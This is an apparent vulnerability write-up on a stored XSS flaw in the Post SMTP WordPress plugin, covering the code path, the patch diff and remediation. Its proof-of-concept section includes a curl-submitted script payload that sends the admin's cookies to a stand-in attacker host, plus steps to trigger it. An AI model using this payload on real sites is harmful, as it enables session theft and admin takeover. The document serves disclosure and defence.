Post SMTP WordPress plugin banner

CVE-2026-48838: Post SMTP Unauthenticated Stored XSS (CVSS 7.2)

Updated 7 min read

CVE-2026-48838 is a CVSS 7.2 High Unauthenticated Stored Cross-Site Scripting vulnerability in the Post SMTP WordPress plugin. An unauthenticated attacker can inject a malicious script into the email log by submitting any form that triggers an outgoing email. The script executes in the administrator’s browser when they view the stored log.

Vulnerability Summary

FieldValue
Plugin NamePost SMTP – Complete Email Deliverability and SMTP Solution with Email Logs, Alerts, Backup SMTP & Mobile App
Plugin Slugpost-smtp
CVE IDCVE-2026-48838
CVSS Score7.2 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting
Affected Versions<= 3.6.2
Patched Version3.6.3
PublishedMay 28, 2026
ResearcherDrew Webber (mcdruid)
Wordfence AdvisoryLink

Description

The Post SMTP plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.6.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Technical Analysis

Plugin Architecture

Post SMTP replaces the default wp_mail() function in WordPress. It routes all outgoing emails through a configurable SMTP provider, logs every email in the database, and optionally pushes failure notifications to a companion mobile app.

The Mobile App feature registers REST API endpoints that let the app retrieve email logs and connect to the WordPress site. It also includes an admin-side viewer page that renders individual email logs as HTML. This viewer is the source of the vulnerability.

Entry Point: Email Content Viewer

The file Postman/Mobile/includes/email-content.php defines a class Post_SMTP_Email_Content. The class is instantiated directly at plugin load time (not via a WordPress hook) through this chain:

  1. postman-smtp.php calls post_smtp_start() at the global scope during plugin loading.
  2. post_setupPostman() requires Postman/Postman.php.
  3. Postman.php requires Mobile/mobile.php at line 98.
  4. mobile.php includes email-content.php directly at line 52, triggering new Post_SMTP_Email_Content() immediately.

Because the class is instantiated before WordPress processes authentication, and because the constructor calls die() after outputting HTML, the login redirect is bypassed. Any request to a /wp-admin/ URL with the correct query parameters triggers the viewer.

The constructor checks three conditions:

// email-content.php, lines 9–29
if (
    is_admin()
    && isset( $_GET['access_token'] )
    && isset( $_GET['log_id'] )
    && isset( $_GET['type'] )
) {
    $this->access_token = sanitize_text_field( $_GET['access_token'] );
    $this->log_id       = sanitize_text_field( $_GET['log_id'] );
    $this->type         = sanitize_text_field( $_GET['type'] );
    $this->render_html();
}

is_admin() returns true for any request whose URL is under /wp-admin/. It does not verify that the user is authenticated.

Authentication Gate: Only the FCM Token

Inside render_html(), the viewer validates the access_token against the list of connected mobile devices stored in the post_smtp_mobile_app_connection database option:

// email-content.php, line 46
elseif ( $device && isset( $device[$this->access_token] ) ) {
    // render log
}

The access_token is the FCM (Firebase Cloud Messaging) token of the connected mobile app. This token is stored as the array key when an admin connects the mobile app. No WordPress user session or capability check is performed.

Missing Output Escaping — Three Vulnerable Sinks

Once the viewer validates the token, it fetches the requested log row from the database and echoes three fields without escaping:

Sink 1 — Email body (type=log), line 135:

<div class="message-body">
    <?php echo $log['original_message']; ?>
</div>

Sink 2 — SMTP session transcript (type=transcript), line 183:

<div class="message-body">
    <?php echo $log['session_transcript']; ?>
</div>

Sink 3 — Delivery status (type=details), line 231:

<div class="message-body">
    <?php echo $log['success']; ?>
</div>

How the Payload Reaches the Database

Post SMTP hooks wp_mail() and logs every outgoing email. The original_message field is stored exactly as received from the caller:

// PostmanWpMail.php, lines 53–56
$log = new PostmanEmailLog();
$log->originalMessage = $message; // raw, unsanitized

Because $message is the raw string passed to wp_mail(), any HTML or JavaScript in the email body is stored in the database as-is. An attacker controls the email body by submitting any site form that results in an outgoing email — a contact form, a WooCommerce checkout, a password reset, or any plugin that passes user input directly into the email body.

Execution Context

When a logged-in administrator views the email log viewer page (or when an attacker who knows the FCM token visits it directly), the browser renders the unescaped HTML and executes any embedded JavaScript. Because the page runs under the /wp-admin/ origin, the injected script has the same privileges as the administrator. This allows cookie theft, admin action execution, or privilege escalation.

Proof of Concept

Disclaimer: This PoC is provided for educational purposes only. Test only on systems you own or have explicit written permission to test.

Prerequisites:

  • Post SMTP version 3.6.2 or earlier installed and active.
  • At least one mobile device connected via the Post SMTP Mobile App (so the FCM token is stored).
  • A form on the target site that calls wp_mail() with user-controlled input in the message body (e.g., Contact Form 7, WPForms, WooCommerce checkout).

Step 1 — Inject the payload into the email log.

Submit any form that triggers an outgoing email. Include the XSS payload in a field that gets embedded in the email body:

# Example: Contact Form 7 with message field carrying the payload
curl -s -X POST "https://target.example.com/wp-json/contact-form-7/v1/contact-forms/1/feedback" \
  -F "your-name=Visitor" \
  -F "your-email=visitor@example.com" \
  -F "your-message=<script>document.location='https://attacker.example.com/steal?c='+encodeURIComponent(document.cookie)</script>" \
  | jq .

Post SMTP intercepts the wp_mail() call, logs the message, and stores the XSS payload in the original_message column of the wp_post_smtp_logs table.

Step 2 — Find the log entry ID.

Retrieve the most recently logged email using the REST API (requires a valid FCM token):

FCM_TOKEN="<connected-device-fcm-token>"

curl -s "https://target.example.com/wp-json/post-smtp/v1/get-logs?start=0&end=1" \
  -H "fcm_token: $FCM_TOKEN" \
  | jq '.data.logs[0].id'

Note the returned log ID (e.g., 42).

Step 3 — Trigger the XSS via the email content viewer.

Construct the viewer URL using the FCM token and the log ID:

https://target.example.com/wp-admin/admin.php?access_token=<FCM_TOKEN>&log_id=42&type=log

When an administrator visits this URL, the browser renders the unescaped original_message and executes the injected script. The script runs in the /wp-admin/ context with admin session privileges.

Expected outcome:

The administrator’s browser executes the injected script. With the example payload above, the browser redirects to the attacker’s server, exfiltrating the admin’s session cookies.

Patch Analysis

The fix in version 3.6.3 adds output escaping to all three vulnerable sinks in Postman/Mobile/includes/email-content.php:

- <?php echo $log['original_message']; ?>
+ <?php echo wp_kses_post( $log['original_message'] ); ?>
- <?php echo $log['session_transcript']; ?>
+ <pre><?php echo esc_html( $log['session_transcript'] ); ?></pre>
- <?php echo $log['success']; ?>
+ <?php echo esc_html( $log['success'] ); ?>

wp_kses_post() is the correct choice for original_message because email bodies are expected to contain HTML. It strips any tags or attributes not permitted for post content (including all event handlers and <script> tags) while preserving safe formatting. esc_html() is correct for the transcript and status fields, which are plain-text strings.

Timeline

DateEvent
May 28, 2026Vulnerability publicly disclosed by Wordfence
June 1, 2026Wordfence advisory last updated
June 7, 2026Blog post published

Remediation

Update Post SMTP to version 3.6.3 or later immediately.

  1. Go to WordPress Admin → Plugins → Installed Plugins.
  2. Find Post SMTP and click Update Now.
  3. Alternatively, download 3.6.3 from wordpress.org/plugins/post-smtp/.

If you cannot update immediately, consider disabling the Mobile App feature by disconnecting all devices from Post SMTP → Settings → Mobile App tab.

References

  1. Patchstack Advisory
  2. WordPress.org Trac Changeset (3.6.2 → 3.6.3)
  3. CVE-2026-48838 at cve.org
  4. Wordfence Advisory
Share this post: X / Twitter LinkedIn

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee